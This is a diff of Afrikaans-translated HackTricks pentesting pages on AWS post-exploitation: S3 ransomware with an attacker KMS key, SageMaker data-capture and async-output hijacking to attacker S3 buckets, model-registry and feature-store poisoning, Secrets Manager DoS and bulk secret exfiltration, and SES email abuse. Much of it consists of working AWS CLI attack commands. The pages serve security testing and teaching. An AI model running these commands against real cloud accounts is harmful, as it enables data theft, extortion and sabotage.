waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval. - -**Vir meer inligting** [**kyk na die oorspronklike navorsing**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md new file mode 100644 index 000000000..cfaec3124 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -0,0 +1,38 @@ +# AWS - S3 Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +Vir meer inligting, kyk: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### Sensitiewe Inligting + +Soms sal jy sensitiewe inligting leesbaar in die buckets vind. Byvoorbeeld, terraform state secrets. + +### Pivoting + +Verskillende platforms kan S3 gebruik om sensitiewe bates te stoor.\ +Byvoorbeeld, **airflow** kan **DAGs** **code** daar stoor, of **web pages** kan direk vanaf S3 bedien word. 'n Aanvaller met write-permissions kan die **code** in die bucket wysig om na ander platforms te **pivot**, of **takeover accounts** deur JS-lêers te wysig. + +### S3 Ransomware + +In hierdie scenario skep die **aanvaller 'n KMS (Key Management Service) sleutel in hul eie AWS account** of in 'n ander gekompromitteerde account. Hulle maak hierdie **sleutel dan toeganklik vir enigiemand in die wêreld**, wat enige AWS user, role, of account toelaat om objects te enkripteer met hierdie sleutel. Die objects kan egter nie gedekripteer word nie. + +Die aanvaller identifiseer 'n teiken **S3 bucket en verkry write-level access** daartoe deur verskeie metodes. Dit kan wees as gevolg van swak bucket-konfigurasie wat dit publiek blootstel of omdat die aanvaller toegang tot die AWS-omgewing self kry. Die aanvaller mik gewoonlik na buckets wat sensitiewe inligting bevat soos personally identifiable information (PII), protected health information (PHI), logs, backups, en meer. + +Om te bepaal of die bucket vir ransomware geteiken kan word, kontroleer die aanvaller die konfigurasie daarvan. Dit sluit in om te verifieer of **S3 Object Versioning** geaktiveer is en of **multi-factor authentication delete (MFA delete) geaktiveer is**. As Object Versioning nie aangeskakel is nie, kan die aanvaller voortgaan. As Object Versioning aangeskakel is maar MFA delete gedeaktiveer is, kan die aanvaller **Object Versioning deaktiveer**. As beide Object Versioning en MFA delete aangeskakel is, word dit moeiliker vir die aanvaller om daardie spesifieke bucket met ransomware te teiken. + +Deur die AWS API te gebruik, vervang die aanvaller **elke object in die bucket met 'n enkripteerde kopie wat hul KMS sleutel gebruik**. Dit enkripteer effektief die data in die bucket, en maak dit ontoeganklik sonder die sleutel. + +Om verdere druk te plaas, skeduleer die aanvaller die verwydering van die KMS sleutel wat in die aanval gebruik is. Dit gee die teiken 'n 7-dae venster om hul data te herstel voordat die sleutel verwyder word en die data permanent verlore is. + +Laastens kan die aanvaller 'n finale lêer oplaai, gewoonlik genaamd "ransom-note.txt", wat instruksies vir die teiken bevat oor hoe om hul lêers te herstel. Hierdie lêer word sonder enkripsie opgelaai, waarskynlik om die teiken se aandag te trek en hulle bewus te maak van die ransomware-aanval. + +**Vir meer info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md new file mode 100644 index 000000000..67617b9c8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -0,0 +1,177 @@ +# AWS - SageMaker Post-Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker-eindpunt data‑aftap via UpdateEndpoint DataCaptureConfig + +Misbruik SageMaker endpoint‑bestuur om volledige request/response capture na 'n attacker‑controlled S3 bucket moontlik te maak sonder om die model of container aan te raak. Gebruik 'n zero/low‑downtime rolling update en vereis slegs endpoint‑management permissions. + +### Vereistes +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: `s3:CreateBucket` (of gebruik 'n bestaande bucket in dieselfde account) +- Opsioneel (as SSE‑KMS gebruik): `kms:Encrypt` op die gekose CMK +- Teiken: 'n bestaande InService real‑time endpoint in dieselfde account/region + +### Stappe +1) Identifiseer 'n InService endpoint en versamel huidige produksie-variantes +```bash +REGION=${REGION:-us-east-1} +EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) +echo "Endpoint=$EP" +CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +echo "EndpointConfig=$CFG" +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Berei die aanvaller se S3-bestemming voor vir opnames +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-capture-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +``` +3) Skep 'n nuwe EndpointConfig wat dieselfde variante behou maar DataCapture na die attacker bucket inskakel + +Let wel: Gebruik eksplisiete inhoudstipes wat aan die CLI-validering voldoen. +```bash +NEWCFG=${CFG}-dc +cat > /tmp/dc.json << JSON +{ +"EnableCapture": true, +"InitialSamplingPercentage": 100, +"DestinationS3Uri": "s3://$BUCKET/capture", +"CaptureOptions": [ +{"CaptureMode": "Input"}, +{"CaptureMode": "Output"} +], +"CaptureContentTypeHeader": { +"JsonContentTypes": ["application/json"], +"CsvContentTypes": ["text/csv"] +} +} +JSON +aws sagemaker create-endpoint-config \ +--region $REGION \ +--endpoint-config-name "$NEWCFG" \ +--production-variants file:///tmp/pv.json \ +--data-capture-config file:///tmp/dc.json +``` +4) Pas die nuwe config toe met 'n rolling update (minimale/geen downtime) +```bash +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +5) Genereer ten minste een inferensie-aanroep (opsioneel as daar lewende verkeer is) +```bash +echo '{"inputs":[1,2,3]}' > /tmp/payload.json +aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ +--content-type application/json --accept application/json \ +--body fileb:///tmp/payload.json /tmp/out.bin || true +``` +6) Valideer captures in attacker S3 +```bash +aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize +``` +### Impak +- Volledige eksfiltrasie van real‑time inference request- en response‑payloads (en metadata) vanaf die geteikende endpoint na 'n deur die aanvaller beheerde S3 bucket. +- Geen veranderinge aan die model/container image nie en slegs endpoint‑vlak veranderinge, wat 'n stealthy data theft path moontlik maak met minimale operasionele ontwrigting. + +## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + +Misbruik endpoint management om asynchronous inference outputs na 'n deur die aanvaller beheerde S3 bucket te herlei deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath te stel. Dit eksfiltreer model predictions (en enige transformed inputs ingesluit deur die container) sonder om die model/container te wysig. + +### Vereistes +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: Vermoë om te skryf na die deur die aanvaller beheerde S3 bucket (via die model execution role of 'n permissive bucket policy) +- Teiken: 'n InService endpoint waar asynchronous invocations gebruik word (of gebruik sal word) + +### Stappe +1) Versamel huidige ProductionVariants van die teiken endpoint +```bash +REGION=${REGION:-us-east-1} +EP= +CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json +``` +2) Skep 'n attacker bucket (verseker dat die model execution role PutObject daarna kan doen) +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION || true +``` +3) Kloon EndpointConfig en hijack AsyncInference uitsette na die attacker bucket +```bash +NEWCFG=${CUR_CFG}-async-exfil +cat > /tmp/async_cfg.json << JSON +{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}} +JSON +aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +4) Ontlok 'n async invocation en verifieer dat objekte in attacker S3 beland +```bash +aws s3 cp /etc/hosts s3://$BUCKET/inp.bin +aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true +sleep 30 +aws s3 ls s3://$BUCKET/async-out/ --recursive || true +aws s3 ls s3://$BUCKET/async-fail/ --recursive || true +``` +### Impak +- Leid asinchrone inference-resultate (en foutliggame) na S3 wat deur die aanvaller beheer word, wat geheime eksfiltrasie van voorspellingen en potensieel sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer is, moontlik maak, sonder om modelkode of image te verander en met minimale of geen stilstand nie. + +## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) + +If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy. + +### Vereistes +- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- Opsioneel (om 'n groep te skep indien een nie bestaan nie): `sagemaker:CreateModelPackageGroup` +- S3: Lees toegang tot die verwysde ModelDataUrl (of huisves aanvaller-beheerde artefakte) +- Teiken: 'n Model Package Group wat downstream-automatisering dophou vir Approved weergawes + +### Stappe +1) Stel region en skep/vind 'n teiken Model Package Group +```bash +REGION=${REGION:-us-east-1} +MPG=victim-group-$(date +%s) +aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" +``` +2) Berei proefmodeldata in S3 voor +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-mpkg-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +head -c 1024 /tmp/model.tar.gz +aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION +``` +3) Registreer 'n kwaadwillige (hier onskadelike) Approved model package version wat verwys na 'n publieke AWS DLC image +```bash +IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" +cat > /tmp/inf.json << JSON +{ +"Containers": [ +{ +"Image": "$IMG", +"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz" +} +], +"SupportedContentTypes": ["text/csv"], +"SupportedResponseMIMETypes": ["text/csv"] +} +JSON +aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json +``` +4) Bevestig dat die nuwe 'Approved' weergawe bestaan +```bash +aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table +``` +### Impak +- Poison die Model Registry met 'n Approved-weergawe wat verwys na attacker-controlled code. Pipelines wat Approved models outo-deploy mag die attacker image aflaai en uitvoer, wat code execution onder endpoint/training roles tot gevolg kan hê. +- Met 'n permissiewe ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik cross-account getrigger word. + +## Feature store poisoning + +Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore aangeskakel om lewendige feature-waardes wat deur online inference verbruik word, oor te skryf. Gekombineer met `sagemaker:GetRecord` kan 'n attacker sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie. + +{{#ref}} +feature-store-poisoning.md +{{/ref}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md new file mode 100644 index 000000000..3809b2a73 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -0,0 +1,50 @@ +# SageMaker Feature Store online store poisoning + +Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference verbruik word te oorskryf. Gecombineer met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie. + +## Vereistes +- Permissies: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Teiken: Feature Group met OnlineStore geaktiveer (gewoonlik vir real-time inference) + +## Stappe +1) Kies of skep 'n klein Online Feature Group vir toetsing +```bash +REGION=${REGION:-us-east-1} +FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) +if [ -z "$FG" -o "$FG" = "None" ]; then +ACC=$(aws sts get-caller-identity --query Account --output text) +FG=ht-fg-$ACC-$(date +%s) +ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) +aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" +echo "Waiting for feature group to be in Created state..." +for i in $(seq 1 40); do +ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) +echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +done +fi +``` +2) Voeg in/oorskryf 'n aanlyn rekord (poison) +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) +cat > /tmp/put.json << JSON +{ +"FeatureGroupName": "$FG", +"Record": [ +{"FeatureName": "entity_id", "ValueAsString": "user-123"}, +{"FeatureName": "event_time", "ValueAsString": "$NOW"}, +{"FeatureName": "risk_score", "ValueAsString": "0.99"} +], +"TargetStores": ["OnlineStore"] +} +JSON +aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json +``` +3) Lees die rekord terug om die manipulasie te bevestig +```bash +aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" +``` +Verwag: risk_score gee 0.99 (deur die aanvaller ingestel), wat die vermoë bewys om aanlyn-kenmerke wat deur modelle verbruik word, te verander. + +## Impact +- Real-time integriteitsaanval: manipuleer kenmerke wat deur produksie-modelle gebruik word sonder om endpunte/modelle aan te raak. +- Konfidentialiteitsrisiko: lees sensitiewe kenmerke via GetRecord vanaf OnlineStore. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md deleted file mode 100644 index afc19553f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ /dev/null @@ -1,126 +0,0 @@ -# AWS - Secrets Manager Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -For more information check: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Lees Secrets - -Die **secrets self is sensitiewe inligting**, [sien die privesc bladsy](../aws-privilege-escalation/aws-secrets-manager-privesc.md) om te leer hoe om dit te lees. - -### DoS: Verander Secret Value - -Deur die waarde van die secret te verander kan jy **DoS al die stelsels wat van daardie waarde afhanklik is.** - -> [!WARNING] -> Let daarop dat vorige waardes ook gestoor word, so dit is maklik om net terug te gaan na die vorige waarde. -```bash -# Requires permission secretsmanager:PutSecretValue -aws secretsmanager put-secret-value \ ---secret-id MyTestSecret \ ---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" -``` -### DoS Change KMS key - -As die aanvaller die secretsmanager:UpdateSecret permission het, kan hulle die geheim konfigureer om 'n KMS key te gebruik wat deur die aanvaller besit word. Daardie key word aanvanklik so opgestel dat enigiemand daartoe toegang kan kry en dit kan gebruik, so dit is moontlik om die geheim met die nuwe key by te werk. As die key nie toeganklik was nie, sou die geheim nie bygewerk kon word nie. - -Nadat die key vir die geheim verander is, wysig die aanvaller die konfigurasie van hulle key sodat net hulle daartoe toegang het. Op hierdie manier sal toekomstige weergawes van die geheim met die nuwe key versleuteld word, en aangesien daar geen toegang daartoe is nie, sal die vermoë om die geheim op te vra verlore wees. - -Dit is belangrik om op te let dat hierdie ontoeganklikheid slegs in latere weergawes sal voorkom, nadat die inhoud van die geheim verander het, aangesien die huidige weergawe nog steeds met die oorspronklike KMS key versleuteld is. -```bash -aws secretsmanager update-secret \ ---secret-id MyTestSecret \ ---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE -``` -### DoS Deleting Secret - -Die minimum aantal dae om 'n secret te verwyder, is 7 -```bash -aws secretsmanager delete-secret \ ---secret-id MyTestSecret \ ---recovery-window-in-days 7 -``` -## secretsmanager:RestoreSecret - -Dit is moontlik om 'n geheim te herstel, wat die herstel van geheime wat vir verwydering geskeduleer is toelaat, aangesien die minimum verwyderingsperiode vir geheime 7 dae en die maksimum 30 dae is. Saam met die secretsmanager:GetSecretValue-toestemming maak dit moontlik om hul inhoud te verkry. - -Om 'n geheim te herstel wat in die proses is om verwyder te word, kan jy die volgende opdrag gebruik: -```bash -aws secretsmanager restore-secret \ ---secret-id -``` -## secretsmanager:DeleteResourcePolicy - -Hierdie aksie laat toe om die resource policy wat beheer wie toegang tot 'n secret het, te verwyder. Dit kan lei tot 'n DoS as die resource policy gekonfigureer was om toegang aan 'n spesifieke groep gebruikers toe te staan. - -Om die resource policy te verwyder: -```bash -aws secretsmanager delete-resource-policy \ ---secret-id -``` -## secretsmanager:UpdateSecretVersionStage - -Die state van 'n secret word gebruik om weergawes van 'n secret te bestuur. AWSCURRENT merk die aktiewe weergawe wat toepassings gebruik, AWSPREVIOUS hou die vorige weergawe sodat jy kan terugrol indien nodig, en AWSPENDING word in die rotasieproses gebruik om 'n nuwe weergawe voor te berei en te valideer voordat dit die huidige een gemaak word. - -Toepassings lees altyd die weergawe met AWSCURRENT. As iemand daardie etiket na die verkeerde weergawe skuif, sal die apps ongeldige inlogbewyse gebruik en kan misluk. - -AWSPREVIOUS word nie outomaties gebruik nie. As AWSCURRENT egter verwyder of verkeerd heraangewys word, kan dit lyk asof alles steeds met die vorige weergawe loop. -```bash -aws secretsmanager update-secret-version-stage \ ---secret-id \ ---version-stage AWSCURRENT \ ---move-to-version-id \ ---remove-from-version-id -``` -{{#include ../../../banners/hacktricks-training.md}} - -### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) - -Misbruik die Secrets Manager BatchGetSecretValue API om tot 20 geheime in 'n enkele versoek te kry. Dit kan die aantal API-oproepe drasties verminder vergeleke met die herhaalde gebruik van GetSecretValue vir elke geheim. As filters gebruik word (tags/name), is secretsmanager:ListSecrets-permissie ook nodig. CloudTrail registreer steeds een GetSecretValue-gebeurtenis per geheim wat in die batch onttrek is. - -Vereiste permissies -- secretsmanager:BatchGetSecretValue -- secretsmanager:GetSecretValue vir elke teikengeheim -- secretsmanager:ListSecrets (nodig as --filters gebruik word) -- kms:Decrypt op die CMKs wat deur die geheime gebruik word (as jy nie aws/secretsmanager gebruik nie) - -> [!WARNING] -> Let daarop dat die permissie `secretsmanager:BatchGetSecretValue` op sigself nie voldoende is om geheime te onttrek nie; jy het ook `secretsmanager:GetSecretValue` nodig vir elke geheim wat jy wil onttrek. - -Exfiltrate by explicit list -```bash -aws secretsmanager batch-get-secret-value \ ---secret-id-list \ ---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' -``` -Exfiltrate deur filters (tag key/value or name prefix) -```bash -# By tag key -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-key,Values=env \ ---max-results 20 \ ---query 'SecretValues[].{Name:Name,Val:SecretString}' - -# By tag value -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-value,Values=prod \ ---max-results 20 - -# By name prefix -aws secretsmanager batch-get-secret-value \ ---filters Key=name,Values=MyApp -``` -Hantering van gedeeltelike mislukkings -```bash -# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters -aws secretsmanager batch-get-secret-value --secret-id-list -``` -Impact -- Vinnige “smash-and-grab” van baie secrets met minder API-oproepe, wat moontlik waarskuwings wat op pieke van GetSecretValue ingestel is, kan omseil. -- CloudTrail logs sluit steeds een GetSecretValue-gebeurtenis per secret in wat deur die batch opgehaal is. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md new file mode 100644 index 000000000..6ebaac16c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md @@ -0,0 +1,130 @@ +# AWS - Secrets Manager Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Read Secrets + +Die **secrets self is sensitiewe inligting**, [sien die privesc-blad](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) om te leer hoe om dit te lees. + +### DoS Change Secret Value + +Deur die waarde van die secret te verander, kan jy **DoS al die stelsels wat van daardie waarde afhanklik is.** + +> [!WARNING] +> Let daarop dat vorige waardes ook gestoor word, so is dit maklik om net terug te keer na die vorige waarde. +```bash +# Requires permission secretsmanager:PutSecretValue +aws secretsmanager put-secret-value \ +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +``` +### DoS Change KMS key + +As die aanvaller die secretsmanager:UpdateSecret-toestemming het, kan hulle die geheim so konfigureer dat dit 'n KMS key gebruik wat deur die aanvaller besit word. Daardie key is aanvanklik so ingestel dat enigiemand toegang daartoe kan kry en dit kan gebruik, dus is dit moontlik om die geheim met die nuwe key by te werk. As die key nie toeganklik was nie, kon die geheim nie bygewerk word nie. + +Na die verandering van die key vir die geheim, wysig die aanvaller die konfiguratie van hul key sodat slegs hulle daartoe toegang het. Op hierdie manier sal toekomstige weergawes van die geheim met die nuwe key versleuteld word, en aangesien daar geen toegang daartoe is nie, sal die vermoë om die geheim te verkry verlore gaan. + +Dit is belangrik om daarop te let dat hierdie ontoeganklikheid slegs in latere weergawes sal voorkom, nadat die inhoud van die geheim verander, want die huidige weergawe is nog steeds versleuteld met die oorspronklike KMS key. +```bash +aws secretsmanager update-secret \ +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +``` +### DoS Verwydering van geheim + +Die minimum aantal dae om 'n geheim te verwyder is 7 +```bash +aws secretsmanager delete-secret \ +--secret-id MyTestSecret \ +--recovery-window-in-days 7 +``` +## secretsmanager:RestoreSecret + +Dit is moontlik om 'n geheim te herstel, wat die herstel van geheime wat vir verwydering geskeduleer is, toelaat, aangesien die minimum verwyderingsperiode vir geheime 7 dae is en die maksimum 30 dae. Saam met die secretsmanager:GetSecretValue-permissie maak dit moontlik om hul inhoud te verkry. + +Om 'n geheim wat in die proses van verwydering is te herstel, kan jy die volgende opdrag gebruik: +```bash +aws secretsmanager restore-secret \ +--secret-id +``` +## secretsmanager:DeleteResourcePolicy + +Hierdie aksie laat toe om die resource policy wat beheer wie toegang tot 'n secret het, te verwyder. Dit kan tot 'n DoS lei as die resource policy gekonfigureer was om toegang aan 'n spesifieke groep gebruikers toe te laat. + +Om die resource policy te verwyder: +```bash +aws secretsmanager delete-resource-policy \ +--secret-id +``` +## secretsmanager:UpdateSecretVersionStage + +Die statusse van ’n geheim word gebruik om weergawes daarvan te bestuur. AWSCURRENT merk die aktiewe weergawe wat toepassings gebruik, AWSPREVIOUS hou die vorige weergawe sodat jy indien nodig kan terugrol, en AWSPENDING word in die rotasieproses gebruik om ’n nuwe weergawe voor te berei en te valideer voordat dit die huidige gemaak word. + +Toepassings lees altyd die weergawe met AWSCURRENT. As iemand daardie etiket na die verkeerde weergawe skuif, sal die toepassings ongeldige geloofsbriewe gebruik en kan misluk. + +AWSPREVIOUS word nie outomaties gebruik nie. Indien AWSCURRENT egter verwyder of verkeerd toegewys word, kan dit voorkom asof alles steeds met die vorige weergawe loop. +```bash +aws secretsmanager update-secret-version-stage \ +--secret-id \ +--version-stage AWSCURRENT \ +--move-to-version-id \ +--remove-from-version-id +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Misbruik die Secrets Manager BatchGetSecretValue API om tot 20 geheime in 'n enkele versoek te bekom. Dit kan API-oproepvolume drasties verminder in vergelyking met om GetSecretValue per geheim te herhaal. As filters gebruik word (tags/name), is ListSecrets-permissie ook benodig. CloudTrail neem steeds een GetSecretValue-gebeurtenis op per geheim wat in die groep teruggehaal word. + +Vereiste permissies +- `secretsmanager:BatchGetSecretValue` +- `secretsmanager:GetSecretValue` vir elke teiken-geheim +- `secretsmanager:ListSecrets` indien `--filters` gebruik word +- `kms:Decrypt` op die CMKs wat deur die geheime gebruik word (as nie `aws/secretsmanager` gebruik word nie) + +> [!WARNING] +> Neem kennis dat die toestemming `secretsmanager:BatchGetSecretValue` op sigself nie voldoende is om geheime te verkry nie; jy benodig ook `secretsmanager:GetSecretValue` vir elke geheim wat jy wil verkry. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Exfiltrate deur filters (tag key/value of naamvoorvoegsel) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Omgaan met gedeeltelike mislukkings +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Impak +- Vinnige “smash-and-grab” van baie geheime met minder API-oproepe, wat waarskuwings wat afgestel is op pieke van GetSecretValue potensieel kan omseil. +- CloudTrail-logboeke bevat steeds een GetSecretValue-gebeurtenis per geheim wat deur die bondel opgehaal is. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md similarity index 73% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md index 896f973e5..61a9cc236 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md @@ -1,13 +1,13 @@ -# AWS - SES Post Exploitatie +# AWS - SES Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SES -Vir meer inligting, kyk: +Vir meer inligting, sien: {{#ref}} -../aws-services/aws-ses-enum.md +../../aws-services/aws-ses-enum.md {{#endref}} ### `ses:SendEmail` @@ -17,7 +17,7 @@ Stuur 'n e-pos. aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` -Nog om te toets. +Nog te toets. ### `ses:SendRawEmail` @@ -25,19 +25,23 @@ Stuur 'n e-pos. ```bash aws ses send-raw-email --raw-message file://message.json ``` +Nog om te toets. + ### `ses:SendTemplatedEmail` Stuur 'n e-pos gebaseer op 'n sjabloon. ```bash aws ses send-templated-email --source --destination --template ``` +Nog te toets. + ### `ses:SendBulkTemplatedEmail` Stuur 'n e-pos na verskeie bestemmings ```bash aws ses send-bulk-templated-email --source --template ``` -Nog om te toets. +Nog te toets. ### `ses:SendBulkEmail` @@ -47,17 +51,19 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Stuur 'n **terugstuur e-pos** oor 'n ontvangde e-pos (wat aandui dat die e-pos nie ontvang kon word nie). Dit kan slegs **tot 24 uur na ontvangs** van die e-pos gedoen word. +Stuur 'n **bounce email** oor 'n ontvangde e-pos (wat aandui dat die e-pos nie afgelewer kon word nie). 